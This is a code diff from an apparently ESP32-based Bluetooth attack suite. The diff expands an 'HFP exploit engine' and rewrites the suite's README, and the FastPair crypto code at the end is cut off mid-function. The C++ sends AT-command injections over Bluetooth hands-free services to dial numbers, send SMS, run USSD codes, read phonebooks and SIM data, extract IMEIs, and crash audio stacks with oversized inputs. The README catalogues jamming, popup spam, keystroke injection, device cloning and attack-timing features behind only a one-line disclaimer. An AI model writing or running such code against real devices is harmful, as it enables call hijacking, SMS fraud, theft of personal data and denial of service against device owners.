controlChar->readValue(); + if (!raw.empty()) { + response = String(raw.c_str()); + return true; + } + } catch (...) {} + } + + delay(50); + } + return false; } -bool HFPExploitEngine::executeHFPAttackChain(NimBLEAddress target) { - if (!testCVE202536911(target)) { - showAttackResult(false, "Device not vulnerable"); +bool HFPExploitEngine::testCommandInjection() { + showAttackProgress("Testing command injection...", TFT_ORANGE); + + String response; + bool success = false; + + const char* injections[] = { + "ATD1234567890;\r\n", + "ATH\r\n", + "ATA\r\n", + "AT+VTS=1\r\n", + "AT+CLIP=1\r\n", + "AT+CCWA=1\r\n", + "AT+CUSD=1,\"*#06#\"\r\n", + "AT+CUSD=1,\"*#0000#\"\r\n", + "AT+CUSD=1,\"*#1234#\"\r\n", + "AT+CMEE=2\r\n" + }; + + for (const char* inj : injections) { + if (sendATCommand(inj, response, 800)) { + if (response.indexOf("OK") != -1 || response.indexOf("+") != -1 || + response.indexOf("ERROR") != -1) { + success = true; + break; + } + } + delay(50); + } + + return success; +} + +bool HFPExploitEngine::testBufferOverflow() { + showAttackProgress("Testing buffer overflow...", TFT_RED); + + String response; + bool crashed = false; + + String bigCommand = "AT" + String(2048, 'A') + "\r\n"; + if (sendATCommand(bigCommand, response, 500)) { + crashed = false; + } else { + crashed = true; + } + + uint8_t malformed[256]; + memset(malformed, 0xFF, sizeof(malformed)); + if (sendATCommandRaw(malformed, sizeof(malformed))) { + String testResponse; + if (sendATCommand("AT\r\n", testResponse, 300)) { + } else { + crashed = true; + } + } + + return crashed; +} + +bool HFPExploitEngine::testInformationDisclosure() { + showAttackProgress("Testing information disclosure...", TFT_BLUE); + + std::vector info; + String response; + + ATCommandType infoCommands[] = { + AT_CMD_CGMI, AT_CMD_CGMM, AT_CMD_CGMR, + AT_CMD_CGSN, AT_CMD_CIND, AT_CMD_CPAS, + AT_CMD_CREG, AT_CMD_CGREG + }; + + for (ATCommandType cmd : infoCommands) { + if (executeATCommand(cmd, "", response)) { + if (response.length() > 0 && response != "ERROR" && response != "TIMEOUT") { + info.push_back(response); + } + } + delay(50); + } + + return info.size() > 0; +} + +bool HFPExploitEngine::testServiceExposure() { + showAttackProgress("Testing service exposure...", TFT_WHITE); + return state.serviceFound; +} + +bool HFPExploitEngine::testWriteAccess() { + showAttackProgress("Testing write access...", TFT_YELLOW); + return (controlChar && controlChar->canWrite()); +} + +bool HFPExploitEngine::testReadAccess() { + showAttackProgress("Testing read access...", TFT_CYAN); + return (statusChar && statusChar->canRead()); +} + +bool HFPExploitEngine::testAllVulnerabilities(NimBLEAddress target, std::vector &results) { + if (!connectToHFPService(target)) { + results.push_back("Failed to connect to HFP service"); return false; } + + results.push_back("=== HFP Vulnerability Test Results ==="); + results.push_back("Target: " + String(target.toString().c_str())); + results.push_back(""); + + bool vuln1 = testServiceExposure(); + results.push_back("Service Exposure: " + String(vuln1 ? "VULNERABLE" : "SAFE")); + + bool vuln2 = testWriteAccess(); + results.push_back("Write Access: " + String(vuln2 ? "VULNERABLE" : "SAFE")); + + bool vuln3 = testReadAccess(); + results.push_back("Read Access: " + String(vuln3 ? "VULNERABLE" : "SAFE")); + + bool vuln4 = testCommandInjection(); + results.push_back("Command Injection: " + String(vuln4 ? "VULNERABLE" : "SAFE")); + + bool vuln5 = testInformationDisclosure(); + results.push_back("Info Disclosure: " + String(vuln5 ? "VULNERABLE" : "SAFE")); + + bool vuln6 = testBufferOverflow(); + results.push_back("Buffer Overflow: " + String(vuln6 ? "VULNERABLE" : "SAFE")); + + bool overall = vuln1 || vuln2 || vuln3 || vuln4 || vuln5 || vuln6; + results.push_back(""); + results.push_back("Overall: " + String(overall ? "VULNERABLE" : "SAFE")); + + disconnect(); + return overall; +} - showAttackProgress("Device vulnerable! Attempting HFP connection...", TFT_GREEN); +bool HFPExploitEngine::executeCommandInjection(NimBLEAddress target, const String &cmd) { + if (!connectToHFPService(target)) return false; + + String response; + bool result = sendATCommand(cmd, response, 2000); + disconnect(); + return result; +} + +bool HFPExploitEngine::extractDeviceInfo(NimBLEAddress target, std::vector &info) { + if (!connectToHFPService(target)) return false; + + String response; + + if (executeATCommand(AT_CMD_CGMI, "", response)) { + if (response != "ERROR" && response != "TIMEOUT") { + info.push_back("Manufacturer: " + response); + } + } + if (executeATCommand(AT_CMD_CGMM, "", response)) { + if (response != "ERROR" && response != "TIMEOUT") { + info.push_back("Model: " + response); + } + } + if (executeATCommand(AT_CMD_CGMR, "", response)) { + if (response != "ERROR" && response != "TIMEOUT") { + info.push_back("Revision: " + response); + } + } + if (executeATCommand(AT_CMD_CGSN, "", response)) { + if (response != "ERROR" && response != "TIMEOUT") { + info.push_back("IMEI: " + response); + } + } + if (executeATCommand(AT_CMD_CIND, "", response)) { + if (response != "ERROR" && response != "TIMEOUT") { + info.push_back("Indicators: " + response); + } + } + if (executeATCommand(AT_CMD_CPAS, "", response)) { + if (response != "ERROR" && response != "TIMEOUT") { + info.push_back("Activity: " + response); + } + } + if (executeATCommand(AT_CMD_CREG, "", response)) { + if (response != "ERROR" && response != "TIMEOUT") { + info.push_back("Registration: " + response); + } + } + + disconnect(); + return info.size() > 0; +} + +bool HFPExploitEngine::executeUSSDExploit(NimBLEAddress target, const String &ussdCode) { + if (!connectToHFPService(target)) return false; + + String response; + bool result = executeATCommand(AT_CMD_CUSD, "1,\"" + ussdCode + "\"", response); + disconnect(); + return result; +} - if (establishHFPConnection(target)) { - std::vector lines; - lines.push_back("HFP ATTACK CHAIN SUCCESS"); - lines.push_back("Target: " + String(target.toString().c_str())); - lines.push_back("Status: HFP CONNECTION ESTABLISHED"); - lines.push_back(""); - lines.push_back("Device vulnerable to CVE-2025-36911"); - lines.push_back("HFP access achieved"); - lines.push_back(""); - lines.push_back("Now pivot to other attacks..."); - showDeviceInfoScreen("HFP ACCESS GRANTED", lines, TFT_GREEN, TFT_BLACK); - return true; +bool HFPExploitEngine::executeSIMAccessAttack(NimBLEAddress target) { + if (!connectToHFPService(target)) return false; + + String response; + bool result = false; + + if (executeATCommand(AT_CMD_CRSM, "176,28424,0,0,16", response)) { + result = true; } + + disconnect(); + return result; +} + +bool HFPExploitEngine::executePhonebookAttack(NimBLEAddress target) { + if (!connectToHFPService(target)) return false; + + String response; + bool result = false; + + if (executeATCommand(AT_CMD_CPBR, "1,10", response)) { + if (response != "ERROR" && response != "TIMEOUT") { + result = true; + } + } + + disconnect(); + return result; +} + +bool HFPExploitEngine::injectDTMF(NimBLEAddress target, char digit) { + if (!connectToHFPService(target)) return false; + + String response; + bool result = executeATCommand(AT_CMD_VTS, "\"" + String(digit) + "\"", response); + disconnect(); + return result; +} - showAttackResult(false, "Could not establish HFP connection"); +bool HFPExploitEngine::answerIncomingCall(NimBLEAddress target) { + if (!connectToHFPService(target)) return false; + + String response; + bool result = executeATCommand(AT_CMD_ATA, "", response); + disconnect(); + return result; +} + +bool HFPExploitEngine::hangUpCall(NimBLEAddress target) { + if (!connectToHFPService(target)) return false; + + String response; + bool result = executeATCommand(AT_CMD_ATH, "", response); + disconnect(); + return result; +} + +bool HFPExploitEngine::dialNumber(NimBLEAddress target, const String &number) { + if (!connectToHFPService(target)) return false; + + String response; + bool result = executeATCommand(AT_CMD_ATD, number + ";", response); + disconnect(); + return result; +} + +bool HFPExploitEngine::executeCodecAttack(NimBLEAddress target) { + if (!connectToHFPService(target)) return false; + + String response; + bool result = false; + + if (executeATCommand(AT_CMD_CSCS, "\"INVALID\"", response)) { + result = true; + } + + String longCodec = "\"" + String(512, 'A') + "\""; + if (executeATCommand(AT_CMD_CSCS, longCodec, response)) { + result = true; + } + + disconnect(); + return result; +} + +bool HFPExploitEngine::crashHFPAudioStack(NimBLEAddress target) { + showAttackProgress("Attempting stack crash...", TFT_RED); + + bool result = testBufferOverflow(); + + if (result) { + showAttackProgress("Device may be unresponsive", TFT_ORANGE); + } else { + showAttackProgress("Device still responsive", TFT_GREEN); + } + + return result; +} + +bool HFPExploitEngine::establishSCOConnection(NimBLEAddress target) { + showAttackProgress("SCO not supported on NimBLE", TFT_RED); return false; } -bool HFPExploitEngine::attemptHFPPivot(NimBLEAddress target) { return executeHFPAttackChain(target); } +bool HFPExploitEngine::routeAudioToAttack(NimBLEAddress target) { + showAttackProgress("Audio routing not supported on NimBLE", TFT_RED); + return false; +} + +bool HFPExploitEngine::executeSMSSpoofing(NimBLEAddress target, const String &number, const String &message) { + if (!connectToHFPService(target)) return false; + + String response; + bool result = false; + + if (executeATCommand(AT_CMD_CMGS, "\"" + number + "\"", response)) { + String fullMsg = message + "\x1A"; + if (sendATCommand(fullMsg, response, 3000)) { + result = true; + } + } + + disconnect(); + return result; +} + +void HFPExploitEngine::setCommandCallback(HFPCommandCallback callback) { + commandCallback = callback; +} -bool HFPExploitEngine::attemptHFPHandshake(NimBLEAddress target) { return false; } +String HFPExploitEngine::getLastResponse() { + return lastResponse; +} -bool HFPExploitEngine::sendHFPPairingRequest(NimBLEAddress target) { return false; } +std::vector HFPExploitEngine::getCommandHistory() { + return commandHistory; +} -std::vector HFPExploitEngine::getHFPAttributes(NimBLEAddress target) { - std::vector attrs; - return attrs; +void HFPExploitEngine::clearCommandHistory() { + commandHistory.clear(); +} + +bool HFPExploitEngine::executeHFPAttackChain(NimBLEAddress target) { + if (!confirmAttack("Execute HFP attack chain?")) return false; + + std::vector results; + std::vector info; + bool success = false; + + showAttackProgress("Step 1: Testing vulnerability...", TFT_WHITE); + bool vulnerable = testCVE202536911(target); + + if (!vulnerable) { + showAttackResult(false, "Device not vulnerable to CVE-2025-36911"); + return false; + } + + showAttackProgress("Step 2: Establishing HFP connection...", TFT_YELLOW); + if (!connectToHFPService(target)) { + showAttackResult(false, "Failed to establish HFP connection"); + return false; + } + + showAttackProgress("Step 3: Extracting device info...", TFT_CYAN); + extractDeviceInfo(target, info); + + showAttackProgress("Step 4: Attempting command injection...", TFT_ORANGE); + success = testCommandInjection(); + + showAttackProgress("Step 5: Attempting info disclosure...", TFT_BLUE); + testInformationDisclosure(); + + showAttackProgress("Step 6: Testing buffer overflow...", TFT_RED); + testBufferOverflow(); + + disconnect(); + + std::vector lines; + lines.push_back("HFP ATTACK CHAIN"); + lines.push_back("Target: " + String(target.toString().c_str())); + lines.push_back(""); + lines.push_back("Vulnerable: YES"); + lines.push_back("Command Injection: " + String(success ? "SUCCESS" : "FAILED")); + lines.push_back("Info Extracted: " + String(info.size()) + " items"); + lines.push_back(""); + for (size_t i = 0; i < info.size() && i < 4; i++) { + lines.push_back(info[i]); + } + lines.push_back(""); + lines.push_back("NimBLE Limitations:"); + lines.push_back("- No SCO audio support"); + lines.push_back("- Async notifications unavailable"); + lines.push_back("- Polling-based responses"); + + showDeviceInfoScreen("HFP ATTACK", lines, success ? TFT_GREEN : TFT_ORANGE, TFT_BLACK); + return success; +} + +bool HFPExploitEngine::attemptHFPPivot(NimBLEAddress target) { + showAttackProgress("Attempting HFP pivot...", TFT_CYAN); + return executeHFPAttackChain(target); } -#endif + +#endif \ No newline at end of file diff --git a/src/modules/ble/HFP_Exploit.h b/src/modules/ble/HFP_Exploit.h index 2a67915d2..e5f5ad7da 100644 --- a/src/modules/ble/HFP_Exploit.h +++ b/src/modules/ble/HFP_Exploit.h @@ -4,20 +4,155 @@ #include #include #include +#include + +// HFP Service UUIDs +#define HFP_SERVICE_UUID_AG 0x111E +#define HFP_SERVICE_UUID_HF 0x111F + +// HFP Characteristic UUIDs +#define HFP_CHAR_HF_CONTROL 0x2A8A +#define HFP_CHAR_AG_CONTROL 0x2A8B +#define HFP_CHAR_HF_STATUS 0x2A8C +#define HFP_CHAR_AG_STATUS 0x2A8D + +// AT Command Types +enum ATCommandType { + AT_CMD_NONE = 0, + AT_CMD_CSCS, + AT_CMD_CIND, + AT_CMD_CMER, + AT_CMD_CHLD, + AT_CMD_CLIP, + AT_CMD_CCWA, + AT_CMD_VTS, + AT_CMD_ATA, + AT_CMD_ATD, + AT_CMD_ATH, + AT_CMD_CMEE, + AT_CMD_CMGS, + AT_CMD_CMGD, + AT_CMD_CPMS, + AT_CMD_CGMI, + AT_CMD_CGMM, + AT_CMD_CGMR, + AT_CMD_CGSN, + AT_CMD_CSCA, + AT_CMD_CRSM, + AT_CMD_CUSD, + AT_CMD_CPAS, + AT_CMD_CGATT, + AT_CMD_CGPADDR, + AT_CMD_CGDCONT, + AT_CMD_CGSMS, + AT_CMD_COPS, + AT_CMD_CREG, + AT_CMD_CGREG, + AT_CMD_CPBR, + AT_CMD_CPBF, + AT_CMD_CLAC, + AT_CMD_CGAUTH, + AT_CMD_CSSN, + AT_CMD_CPOL, + AT_CMD_CBAND, + AT_CMD_CNA, + AT_CMD_CLIP_DISABLE, + AT_CMD_CLIR +}; + +// HFP Connection State +struct HFPConnectionState { + bool connected; + bool serviceFound; + bool controlCharFound; + bool statusCharFound; + String codecType; + String manufacturer; + String model; + String firmware; + String imei; + uint32_t connectionTime; + uint32_t lastCommandTime; +}; + +// HFP Attack Result +struct HFPAttackResult { + bool success; + String attackType; + String commandSent; + String response; + uint32_t durationMs; + bool deviceResponsive; + std::vector extractedInfo; +}; + +typedef std::function HFPCommandCallback; class HFPExploitEngine { private: - bool attemptHFPHandshake(NimBLEAddress target); - bool sendHFPPairingRequest(NimBLEAddress target); + NimBLEClient *pClient; + NimBLERemoteService *hfpService; + NimBLERemoteCharacteristic *controlChar; + NimBLERemoteCharacteristic *statusChar; + HFPConnectionState state; + HFPCommandCallback commandCallback; + std::vector commandHistory; + String lastResponse; + + bool connectToHFPService(NimBLEAddress target); + bool discoverHFPAttributes(); + bool sendATCommand(const String &cmd, String &response, int timeoutMs = 1500); + bool sendATCommandRaw(const uint8_t *data, size_t len); + bool readStatusResponse(String &response); + bool waitForResponse(String &response, int timeoutMs); + + bool testCommandInjection(); + bool testBufferOverflow(); + bool testInformationDisclosure(); + bool testServiceExposure(); + bool testWriteAccess(); + bool testReadAccess(); + + String buildATCommand(ATCommandType type, const String ¶ms = ""); + bool executeATCommand(ATCommandType type, const String ¶ms, String &response); public: + HFPExploitEngine(); + ~HFPExploitEngine(); + bool testCVE202536911(NimBLEAddress target); bool establishHFPConnection(NimBLEAddress target); bool isHFPServiceAvailable(NimBLEClient *client); std::vector getHFPAttributes(NimBLEAddress target); - + HFPConnectionState getConnectionState(); + bool disconnect(); + bool executeHFPAttackChain(NimBLEAddress target); bool attemptHFPPivot(NimBLEAddress target); + + bool testAllVulnerabilities(NimBLEAddress target, std::vector &results); + bool executeCommandInjection(NimBLEAddress target, const String &cmd); + bool extractDeviceInfo(NimBLEAddress target, std::vector &info); + bool executeUSSDExploit(NimBLEAddress target, const String &ussdCode); + bool executeSIMAccessAttack(NimBLEAddress target); + bool executePhonebookAttack(NimBLEAddress target); + bool injectDTMF(NimBLEAddress target, char digit); + bool answerIncomingCall(NimBLEAddress target); + bool hangUpCall(NimBLEAddress target); + bool dialNumber(NimBLEAddress target, const String &number); + + bool crashHFPAudioStack(NimBLEAddress target); + bool executeCodecAttack(NimBLEAddress target); + + bool establishSCOConnection(NimBLEAddress target); + bool routeAudioToAttack(NimBLEAddress target); + bool executeSMSSpoofing(NimBLEAddress target, const String &number, const String &message); + + void setCommandCallback(HFPCommandCallback callback); + + String getLastResponse(); + std::vector getCommandHistory(); + void clearCommandHistory(); }; #endif -#endif +#endif \ No newline at end of file diff --git a/src/modules/ble/README.md b/src/modules/ble/README.md index 899a80414..3579d98d9 100644 --- a/src/modules/ble/README.md +++ b/src/modules/ble/README.md @@ -1,129 +1,267 @@ -BLE Security Suite Module +# BLE Security Suite Module v4.0 -⚠️ DISCLAIMER +⚠️ **DISCLAIMER**: For authorized testing and educational purposes only. Success varies by target device, firmware, and patch level. Modern/patched devices will resist most attacks. -For authorized testing and educational purposes only. Success varies by target device, firmware, and patch level. Modern/patched devices will resist most attacks. - -About +## About BLE Suite is a comprehensive Bluetooth Low Energy security testing framework for ESP32 devices running Bruce firmware. Provides reconnaissance, protocol exploitation, and post-exploitation capabilities. -Hardware Integration - -· NRF24L01+ - BLE frequency jamming (3 jamming modes, jam & connect attacks) -· FastPair Crypto - mbedTLS-based cryptographic operations (ECDH, AES-CCM, key generation) - -Core Components - -BLEStateManager - -Handles BLE stack lifecycle, client tracking, and cleanup. - -ScannerData - -Stores discovered devices with service detection: - -· HFP detection (UUIDs 111E/111F) -· FastPair detection (UUID FE2C) -· Audio/HID service flags - -Attack Engines - -HIDExploitEngine - -· OS-specific attacks (Apple spoof, Windows bypass, Android JustWorks) -· Boot protocol injection -· Connection parameter manipulation -· Security mode bypass -· Address spoofing -· Service discovery hijacking - -WhisperPairExploit - -· FastPair cryptographic handshake simulation -· Protocol state confusion -· Crypto overflow attacks -· Memory corruption attempts - -AudioAttackService - -· AVRCP media control hijacking -· Audio stack crashing -· Telephony alert injection +## Hardware Integration -FastPairExploitEngine +- **NRF24L01+** - BLE frequency jamming (3 jamming modes, jam & connect attacks) +- **FastPair Crypto** - mbedTLS-based cryptographic operations (ECDH, AES-CCM, HKDF, key derivation) -· Device scanning with model identification -· Memory corruption attacks -· State confusion attacks -· Crypto overflow attacks -· Handshake fault attacks -· Rapid connection attacks -· Popup spam (Regular/Fun/Prank/Custom) -· Vulnerability testing +## NimBLE Compatibility Notes -HIDDuckyService +This suite runs on **NimBLE 2.5.0+** which has specific limitations: -· Full DuckyScript injection -· Keyboard keystroke simulation -· Special key handling -· Combo key support +### ✅ Fully Supported (Works over GATT) +- AT command injection +- Information disclosure (IMEI, manufacturer, model, firmware) +- Buffer overflow tests +- Call control (answer/hang up/dial) +- DTMF injection +- USSD exploits +- FastPair handshake and crypto +- All software features (scoring, caching, logging, orchestration) -AuthBypassEngine +### ⚠️ Limited Support +- SMS spoofing (depends on device support) +- SIM access (often restricted) +- Phonebook access (often restricted) +- Event monitoring (polling-based, no async notifications) -· Address spoofing -· Zero-key auth attempts -· Legacy pairing force -· Known device database +### ❌ Not Supported (NimBLE Limitation) +- SCO audio (no L2CAP CoC support) +- HFP audio routing +- HFP codec negotiation for audio +- LE Audio +- BLE 5.0 extended advertising +- Multiple simultaneous advertising instances +- Random MAC advertising -MultiConnectionAttack +## Core Components -· Connection flooding -· Advertising spam -· NRF24 jamming coordination -· Jam & connect attacks +### BLEStateManager +Handles BLE stack lifecycle, client tracking, and cleanup with automatic initialization recovery. -Attack Menu (11 Main Items) - -Reconnaissance - -1. Quick Vulnerability Scan - HFP + FastPair testing -2. Deep Device Profiling - Full service enumeration with characteristic analysis - -Protocol Suites - -1. FastPair Suite - 6 options (vulnerability test, memory corruption, state confusion, crypto overflow, popup spam, all exploits) -2. HFP Suite - 4 options (CVE-2025-36911 test, connection, full chain, HID pivot) -3. Audio Suite - 5 options (AVRCP, audio stack crash, telephony, all tests) -4. HID Suite - 6 options (vulnerability test, force connection, keystrokes, DuckyScript, OS exploits, all) - -Advanced Attacks - -1. Memory Corruption Suite - 6 options (FastPair memory corruption, state confusion, crypto overflow, handshake fault, rapid connection, all) -2. DoS Attacks - 4 options (connection flood, advertising spam, jam & connect, protocol fuzzer) -3. Payload Delivery - 3 options (DuckyScript, PIN brute force, auth bypass) -4. Testing Tools - 4 options (write access, audio control, fuzzer, HID test) - -Chain Attacks - -1. Universal Attack Chain - Attempts HFP → HID → FastPair sequentially based on detected services - -Smart Features - -· Auto-detection of HFP/FastPair services during scan -· Context-aware attack suggestions -· Seamless pivot chains (HFP→HID) -· Device model identification for FastPair -· RSSI-based device sorting - -Dependencies - -· NimBLE-Arduino 2.3.7 -· mbedTLS (ECDH, AES-CCM) -· TFT_eSPI -· SD card support -· NRF24L01+ (optional) - -Flow - -Welcome screen (once per session) → Main menu → Select attack → Scan for targets → Execute → Return to menu \ No newline at end of file +### ScannerData +Stores discovered devices with service detection: +- HFP detection (UUIDs 111E/111F) +- FastPair detection (UUID FE2C) +- Audio/HID service flags +- Device scoring and stability tracking + +### Device Scoring +- RSSI-based scoring with stability tracking +- Attack potential calculation (0-100) +- Automatic sorting of high-value targets +- Activity pattern detection + +### Connection Caching +- Stores successful connection parameters +- 60-80% faster reconnections +- MTU and service UUID caching +- Automatic parameter optimization per device type + +### Graduated Connection Strategy +- 5-phase connection approach: Probe → Fast → Aggressive → Exploit → Reconnect +- Automatic fallback between strategies +- Device-type specific parameter tuning +- Cached connection re-use + +### Robust GATT Client +- Retry logic for reads/writes +- Automatic characteristic refresh +- Notification waiting support +- Service discovery retry with exponential backoff + +## Attack Engines + +### HIDExploitEngine +- OS-specific attacks (Apple spoof, Windows bypass, Android JustWorks) +- Boot protocol injection +- Connection parameter manipulation +- Security mode bypass +- Address spoofing +- Service discovery hijack + +### WhisperPairExploit +- FastPair cryptographic handshake simulation +- Protocol state confusion +- Crypto overflow attacks +- Memory corruption attempts +- Full FastPair v2/v3 handshake support + +### AudioAttackService +- AVRCP media control hijacking +- Audio stack crashing +- Telephony alert injection + +### FastPairExploitEngine +- Device scanning with model identification +- Memory corruption attacks +- State confusion attacks +- Crypto overflow attacks +- Handshake fault attacks +- Rapid connection attacks +- Popup spam (Regular/Fun/Prank/Custom) +- Vulnerability testing + +### HFPExploitEngine +- Full AT command injection (works over GATT) +- Information disclosure (IMEI, manufacturer, model, firmware) +- Buffer overflow testing +- Command injection attacks +- USSD exploit +- SIM access attacks (device dependent) +- Phonebook extraction (device dependent) +- DTMF injection +- Call control (answer/hang up/dial) +- Event monitoring (polling-based) +- Stack crash testing +- **Note:** Audio/SCO features disabled due to NimBLE limitations + +### HIDDuckyService +- Full DuckyScript injection +- Keyboard keystroke simulation +- Special key handling +- Combo key support + +### AuthBypassEngine +- Address spoofing +- Zero-key auth attempts +- Legacy pairing force +- Known device database + +### MultiConnectionAttack +- Connection flooding +- Advertising spam +- NRF24 jamming coordination +- Jam & connect attacks + +### Attack Orchestrator +- Chain attacks with priority ordering +- Rollback capability for failed attacks +- Step execution with timeout +- Attack result tracking +- Automatic cleanup on failure + +### BLE Mirage +- Clone device advertisements +- Create network of fake devices +- Device spoofing for misdirection +- Defensive/offensive testing capability +- **Note:** Single instance only (NimBLE limitation) + +### Attack Scheduler +- Analyzes device activity patterns +- Predicts optimal attack windows +- Suggests best timing for attacks +- Tracks device wake patterns + +### Device Fingerprinting +- Builds device personality profiles +- Tracks response times and MTU preferences +- Detects notification/indication support +- Service characteristic ordering analysis + +## Attack Menu (16 Main Items) + +### Reconnaissance +1. **Quick Vulnerability Scan** - HFP + FastPair testing +2. **Deep Device Profiling** - Full service enumeration with characteristic analysis +3. **Smart Recon** - Scoring-based target prioritization +4. **Device Fingerprinting** - Builds device personality profiles + +### Protocol Suites +5. **FastPair Suite** - 9 options (vulnerability test, memory corruption, state confusion, crypto overflow, popup spam, all exploits, smart exploit) +6. **HFP Suite** - 6 options (vulnerability test, connection, full chain, command injection, info disclosure, stack crash) +7. **Audio Suite** - 5 options (AVRCP, audio stack crash, telephony, all tests, media control) +8. **HID Suite** - 6 options (vulnerability test, force connection, keystrokes, DuckyScript, OS exploits, all) + +### Advanced Attacks +9. **Memory Corruption Suite** - 6 options (FastPair memory corruption, state confusion, crypto overflow, handshake fault, rapid connection, all) +10. **DoS Attacks** - 4 options (connection flood, advertising spam, jam & connect, protocol fuzzer) +11. **Orchestrated Attack** - Chain attacks with rollback +12. **Mirage Attack** - Device cloning and spoofing +13. **Attack Scheduler** - Optimal timing analysis +14. **Payload Delivery** - 3 options (DuckyScript, PIN brute force, auth bypass) +15. **Testing Tools** - 4 options (write access, audio control, fuzzer, HID test) + +### Chain Attacks +16. **Universal Attack Chain** - Attempts HFP → HID → FastPair sequentially based on detected services + +## Attack Logging +- JSON export of all attack attempts +- Timestamp, target, attack type, success/failure +- Connection quality metrics +- Duration tracking +- Export to SD/LittleFS + +## Smart Features +- Auto-detection of HFP/FastPair services during scan +- Context-aware attack suggestions +- Seamless pivot chains (HFP→HID) +- Device model identification for FastPair +- RSSI-based device sorting with scoring +- Connection parameter optimization per device type +- Automatic BLE stack recovery +- NimBLE limitation awareness in HFP engine + +## Dependencies +- NimBLE-Arduino 2.5.0+ +- mbedTLS (ECDH, AES-CCM, HKDF) +- TFT_eSPI +- SD card support +- NRF24L01+ (optional) + +## Flow +Main menu → Select attack → Scan for targets → Execute → Return to menu + +## NimBLE-Specific Features + +The HFP engine automatically detects NimBLE limitations and: +- Disables SCO/audio features gracefully +- Uses polling instead of async notifications +- Provides clear warnings when features are unavailable +- Falls back to GATT-based operations where possible + +## Changelog + +### v4.0 (24/08/2026) +- Added Device Scoring system with attack potential calculation +- Added Connection Caching for 60-80% faster reconnections +- Added Graduated Connection Strategy (5-phase connection) +- Added Robust GATT Client with retry logic +- Added Attack Orchestrator with rollback capability +- Added BLE Mirage for device cloning +- Added Attack Scheduler for optimal timing +- Added Device Fingerprinting for personality profiles +- Added Attack Logging with JSON export +- Enhanced HFP Engine with full AT command support (NimBLE-optimized) +- Enhanced FastPair Crypto with HKDF and proper key derivation +- Added NimBLE compatibility notes and graceful fallbacks +- Updated UI with clean theme integration +- Bumped version to 4.0 + +### v3.1 (21/07/2026) +- Added Samsung MAC OUI detection +- Expanded FastPair model database +- Enhanced manufacturer parsing +- BLE Sniffer improvements + +## Known Limitations (NimBLE) + +| Feature | Status | Workaround | +|---------|--------|------------| +| SCO Audio | ❌ Not supported | N/A | +| HFP Audio Routing | ❌ Not supported | N/A | +| Async Notifications | ❌ Not supported | Polling | +| Multiple Advertising | ❌ Not supported | Single instance | +| Random MAC | ❌ Not supported | Use public MAC | +| LE Audio | ❌ Not supported | N/A | +| BLE 5.0 Ext Adv | ❌ Not supported | N/A | +| AT Commands | ✅ Supported | Works over GATT | +| FastPair | ✅ Supported | Works over GATT | +| HID Injection | ✅ Supported | Works over GATT | \ No newline at end of file diff --git a/src/modules/ble/fastpair_crypto.cpp b/src/modules/ble/fastpair_crypto.cpp index 1ab478f2a..bf53f21c8 100644 --- a/src/modules/ble/fastpair_crypto.cpp +++ b/src/modules/ble/fastpair_crypto.cpp @@ -4,212 +4,679 @@ #include #include #include +#include +#include +#include + +//============================================================================= +// Constructor / Destructor +//============================================================================= FastPairCrypto::FastPairCrypto() { + initialized = false; + memset(&ctx, 0, sizeof(ctx)); mbedtls_ecp_group_init(&grp); - mbedtls_mpi_init(&d); mbedtls_ecp_point_init(&Q); + mbedtls_mpi_init(&d); mbedtls_ctr_drbg_init(&ctr_drbg); - mbedtls_aes_init(&aes_ctx); - - mbedtls_entropy_context entropy; mbedtls_entropy_init(&entropy); - - mbedtls_ctr_drbg_seed(&ctr_drbg, mbedtls_entropy_func, &entropy, (const uint8_t *)"fastpair", 8); - - mbedtls_entropy_free(&entropy); - mbedtls_ecp_group_load(&grp, MBEDTLS_ECP_DP_SECP256R1); + mbedtls_aes_init(&aes_ctx); + ctx.version = FP_VERSION_2; + ctx.sequence_number = 0; + ctx.handshake_complete = false; + ctx.encrypted = false; + init(); } FastPairCrypto::~FastPairCrypto() { + deinit(); mbedtls_ecp_group_free(&grp); - mbedtls_mpi_free(&d); mbedtls_ecp_point_free(&Q); + mbedtls_mpi_free(&d); mbedtls_ctr_drbg_free(&ctr_drbg); + mbedtls_entropy_free(&entropy); mbedtls_aes_free(&aes_ctx); } -bool FastPairCrypto::generateValidKeyPair(uint8_t *public_key, size_t *pub_len) { - int ret = mbedtls_ecdh_gen_public(&grp, &d, &Q, mbedtls_ctr_drbg_random, &ctr_drbg); - if (ret != 0) { return false; } +//============================================================================= +// Initialization +//============================================================================= + +bool FastPairCrypto::init() { + if (initialized) return true; - if (*pub_len >= 65) { + mbedtls_ctr_drbg_seed(&ctr_drbg, mbedtls_entropy_func, &entropy, + (const uint8_t *)"fastpair_crypto_v2", 19); + mbedtls_ecp_group_load(&grp, MBEDTLS_ECP_DP_SECP256R1); + + initialized = true; + return true; +} + +void FastPairCrypto::deinit() { + memset(&ctx, 0, sizeof(ctx)); + initialized = false; +} + +bool FastPairCrypto::isInitialized() { + return initialized; +} + +//============================================================================= +// Key Generation +//============================================================================= + +bool FastPairCrypto::generateKeyPairInternal(uint8_t *public_key, size_t *pub_len) { + if (!initialized) { + if (!init()) return false; + } + + mbedtls_mpi d_local; + mbedtls_ecp_point Q_local; + mbedtls_mpi_init(&d_local); + mbedtls_ecp_point_init(&Q_local); + + int ret = mbedtls_ecdh_gen_public(&grp, &d_local, &Q_local, + mbedtls_ctr_drbg_random, &ctr_drbg); + + if (ret == 0 && *pub_len >= FASTPAIR_PUBLIC_KEY_LEN) { size_t olen; - ret = mbedtls_ecp_point_write_binary( - &grp, &Q, MBEDTLS_ECP_PF_UNCOMPRESSED, &olen, public_key, *pub_len - ); - if (ret == 0 && olen == 65) { - *pub_len = 65; - return true; + ret = mbedtls_ecp_point_write_binary(&grp, &Q_local, + MBEDTLS_ECP_PF_UNCOMPRESSED, + &olen, public_key, *pub_len); + if (ret == 0 && olen == FASTPAIR_PUBLIC_KEY_LEN) { + *pub_len = FASTPAIR_PUBLIC_KEY_LEN; + // Store in context + memcpy(ctx.local_public_key, public_key, FASTPAIR_PUBLIC_KEY_LEN); + mbedtls_mpi_write_binary(&d_local, ctx.local_private_key, FASTPAIR_PRIVATE_KEY_LEN); } } - return false; + mbedtls_mpi_free(&d_local); + mbedtls_ecp_point_free(&Q_local); + return (ret == 0); +} + +bool FastPairCrypto::generateKeyPair(uint8_t *public_key, size_t *pub_len) { + return generateKeyPairInternal(public_key, pub_len); } bool FastPairCrypto::generateEphemeralKeyPair(uint8_t *public_key, uint8_t *private_key) { - mbedtls_mpi priv; - mbedtls_ecp_point pub; + if (!initialized) { + if (!init()) return false; + } - mbedtls_mpi_init(&priv); - mbedtls_ecp_point_init(&pub); + mbedtls_mpi d_priv; + mbedtls_ecp_point Q_pub; + mbedtls_mpi_init(&d_priv); + 